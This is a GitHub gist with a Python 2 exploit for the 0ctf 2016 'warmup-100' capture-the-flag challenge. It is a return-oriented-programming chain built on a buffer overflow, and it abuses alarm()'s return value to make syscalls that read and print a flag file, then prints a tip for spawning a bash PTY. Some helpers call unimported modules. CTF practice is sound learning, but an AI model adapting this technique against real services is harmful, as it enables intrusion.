Created
March 14, 2016 02:36
-
-
Save hugsy/8e31ddc61dba7d4e7c1f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# Exploit for warmup-100 (0ctf) | |
# Done after the competition. | |
# | |
# @_hugsy_ | |
# | |
import socket, struct, sys, telnetlib, binascii, time | |
HOST = "localhost" | |
PORT = 52608 | |
def hexdump(src, length=0x10): | |
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result='' | |
while src: | |
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s]) | |
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length | |
return result | |
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) | |
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): | |
sys.stderr.write(x + "\n") | |
sys.stderr.flush() | |
return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def asm(code, arch="x86", bits=32): | |
r2 = "/usr/bin/rasm2" | |
cmd = "{} -a {} -b {}".format(r2, arch, bits).split(" ") | |
cmd+= [code, ] | |
try: rc = subprocess.check_output(cmd).strip() | |
except: return "" | |
return binascii.unhexlify(rc) | |
def grab_banner(s, end_banner="> "): | |
data = s.read_until(end_banner) | |
return data | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s): | |
try: | |
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""") | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def pwn(s): | |
writable_addr = 0x80490f0 | |
writable_addr2= 0x8049100 | |
flag_path = "/tmp/flag" + "\x00"*10 | |
ret_to_sub_esp_30 = 0x0804815A | |
ebx_ecx_edx_int80 = 0x0804813A | |
sys_read = 0x0804811D | |
sys_write = 0x08048135 | |
sys_alarm = 0x804810d | |
sys_exit = 0x0804814D | |
# this block will write '/home/warmup/flag' to a location we know | |
ok("Writing '%s' at %#x" % (flag_path, writable_addr)) | |
p = "" | |
p+= "A"*32 | |
p+= i_s(sys_read) | |
p+= i_s(ret_to_sub_esp_30) # ret back to vuln function | |
p+= i_s(0) # fd | |
p+= i_s(writable_addr) # addr | |
p+= i_s(len(flag_path)) # len | |
s.write(p) | |
ok("Sent stub 1, waiting for 5 seconds") | |
s.read_until("Good Luck!\n") | |
s.write( flag_path ) | |
# this is trick part to control eax: | |
# alarm is set to 10, so by waiting 5 seconds, the next call to sys_alarm will | |
# return 5 in eax | |
time.sleep(5) | |
ok("Building open syscall") | |
p = "" | |
p+= "A"*32 | |
p+= i_s(sys_alarm) | |
p+= i_s(ebx_ecx_edx_int80) | |
p+= i_s(ret_to_sub_esp_30) | |
p+= i_s(writable_addr) | |
p+= i_s(7) | |
s.write(p) | |
ok("Sent stub 2") | |
s.read_until("Good Luck!\n") | |
# in my gdb-gef session, i had the opened fd set to 5 | |
ok("Building sys_read call to %#x" % writable_addr2) | |
p = "" | |
p+= "A"*32 | |
p+= i_s(sys_read) | |
p+= i_s(ret_to_sub_esp_30) | |
p+= i_s(5) | |
p+= i_s(writable_addr2) | |
p+= i_s(20) | |
s.write(p) | |
ok("Sent stub 3") | |
s.read_until("Good Luck!\n") | |
ok("Building sys_write call to %#x" % writable_addr2) | |
p = "" | |
p+= "A"*32 | |
p+= i_s(sys_write) | |
p+= i_s(sys_exit) | |
p+= i_s(1) | |
p+= i_s(writable_addr2) | |
p+= i_s(3) | |
s.write(p) | |
ok("Sent stub 4") | |
s.read_until("Good Luck!\n") | |
print "res > ", s.read_all() | |
raw_input() | |
return True | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
raw_input("Press enter when gdb attached ") | |
banner = grab_banner(s, "Welcome to 0CTF 2016!\n") | |
if pwn(s): | |
ok("Got it, interacting (Ctrl-C to break)") | |
interact(s) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment